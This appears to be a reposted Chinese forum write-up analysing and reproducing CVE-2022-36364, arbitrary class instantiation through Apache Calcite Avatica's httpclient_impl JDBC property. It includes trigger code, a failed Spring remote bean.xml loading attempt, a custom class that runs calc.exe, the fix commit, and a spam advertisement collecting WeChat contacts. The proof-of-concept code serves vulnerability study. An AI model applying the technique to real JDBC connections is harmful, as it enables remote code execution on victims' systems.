Apache Calcite Avatica 远程代码实行(CVE-2022-36364)

打印 上一主题 下一主题

主题 1008|帖子 1008|积分 3024

前段时间看到Apache Calcite Avatica远程代码实行漏洞 CVE-2022-36364 在网上搜索也没有找到相干的分析和复现文章,于是想着本身研究一下,看能不能发现可以使用的方法。
首先使用一下近来比力热门的 Deepseek ,扣问他是否清楚漏洞相干的信息。
[img=720,643.0188679245283]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558342.png[/img]

 
[img=720,616.0893854748604]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558343.png[/img]

通过回答我们可以了解到这个漏洞的概况,具体漏洞的版本,以及漏洞产生的缘故原由。
漏洞简介

Apache Calcite Avatica JDBC 驱动程序根据通过 httpclient_impl​ 连接属性提供的类名来创建 HTTP 客户端实例;但是在驱动程序实例化之前不会验证该类是否实现了预期的接口,这样一来就会导致可以通过调用恣意类来实行代码。
实行这个漏洞并造成一定的危害性,还必要两个先决条件:

  • 必须拥有控制 JDBC 连接参数的权限
  • 类路径中有一个具有 URL 参数和实行代码能力的函数(目前必要本身构造)
漏洞复现&分析

 
简单点,通过 maven 来创建漏洞情况
  1.        
  2.        <dependency>
  3.            <groupId>org.apache.calcite.avatica</groupId>
  4.            <artifactId>avatica</artifactId>
  5.            <version>1.21.0</version>
  6.        </dependency>
复制代码
创建完成漏洞情况后,我们就必要来编写一段代码想办法触发这个漏洞,我个人的建议是通过对比代码补丁,一般来说修复完成代码后,总会写一个测试类来进行测试
[img=720,343.27272727272725]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558345.png[/img]
  1. import org.apache.calcite.avatica.BuiltInConnectionProperty;
  2. import org.apache.calcite.avatica.ConnectionConfig;
  3. import org.apache.calcite.avatica.ConnectionConfigImpl;
  4. import org.apache.calcite.avatica.remote.AvaticaHttpClient;
  5. import org.apache.calcite.avatica.remote.AvaticaHttpClientFactory;
  6. import org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl;
  7. import java.net.URL;
  8. import java.util.Properties;
  9. public class test {
  10.    public static void main(String[] args) throws Exception {
  11.        Properties props = new Properties();
  12.        props.setProperty(BuiltInConnectionProperty.HTTP_CLIENT_IMPL.name(),"className");
  13.        URL url = new URL("url");
  14.        ConnectionConfig config = new ConnectionConfigImpl(props);
  15.        AvaticaHttpClientFactory httpClientFactory = new AvaticaHttpClientFactoryImpl();
  16.        AvaticaHttpClient client = httpClientFactory.getClient(url, config, null);
  17.    }
  18. }
复制代码
这样一来我们就编写了一个漏洞 Demo calssName​ 和 url​ 的值是我们可以操作控制的,我们进行调试分析一下
[img=720,272.4403075677863]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558346.png[/img]

org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#getClient
[img=720,244.7766043866775]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558347.png[/img]

这个地方我们就留意到了最后调用 instantiateClient​ 来处理的两个参数 className 和 url 一个来自于直接传参,另一个来自于 config.httpClientClass()​ 会从 config 对象中获取 HTTP 客户端的实现类名称,并将其作为一个 String​ 返回
[img=720,48.33512352309345]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558349.png[/img]


所以当参数传入到 org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#instantiateClient​ 此中的两个参数 className​ 和 url​ 都是我们可以控制的
[img=720,118.26086956521739]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558350.png[/img]

不必要向下继续调试,我们就看到了关键代码 constructor.newInstance(Objects.requireNonNull(url));​
这样一来我们就可以通过控制 className​ 和 url​ 来实现调用恣意类,但是这个类的必须有 URL 参数的处理
刚开始想到的方法是
使用 spring 中的类构造函数加载远程配置实现 RCE

  • org.springframework.context.support.ClassPathXmlApplicationContext
  1. import org.springframework.context.support.ClassPathXmlApplicationContext;
  2. public class JXpathDemo {
  3.    public static void main(String[] args) {
  4.        String s = "http://127.0.0.1:8080/bean.xml";
  5.        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext(s);
  6.    }
  7. }
复制代码
似乎如此一来就满足了条件,我们先试试
[img=720,266.69891172914146]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558352.png[/img]

爆出了一个错误,我们留意到 lassPathXmlApplicationContext​ 类没有吸收 java.net.URL​ 参数的构造方法。ClassPathXmlApplicationContext​ 类的构造方法吸收的是 String​ 范例的路径,通常是用于加载 Spring 配置文件的路径。
[img=720,97.29729729729729]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558353.png[/img]

所以这种使用方式适用于很多种情况 Apache Commons JXPath 远程代码实行、PostgresQL JDBC Driver 恣意代码实行 等,但是并不适配当前的情况。(目前还没有找到合适的类来触发使用这种漏洞)
【----帮助网安学习,以下全部学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习发展路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技能电子书
 ⑤ 最权威CISSP 认证测验指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
为了进一步体现危害性,我本身创建一个类来体现
  1. import java.net.URL;
  2. public class CustomHttpClient {
  3.    private URL url;
  4.    // 构造函数,接受一个 URL 类型的参数
  5.    public CustomHttpClient(URL url) throws Exception {
  6.        Runtime.getRuntime().exec("calc.exe");
  7.    }
  8. }
复制代码
[img=720,391.1943793911007]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558354.gif[/img]

漏洞修复

通过对比我们发现对传入的类进行了控制,限定必须属于AvaticaHttpClient​ 的子类
https://github.com/apache/calcite-avatica/commit/0c097b6a685fc1f97f151505a219976f15ed0c4c?diff=split&w=0
[img=720,349.65600971266696]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558355.png[/img]

更多网安技能的在线实操练习,请点击这里>>
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

反转基因福娃

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表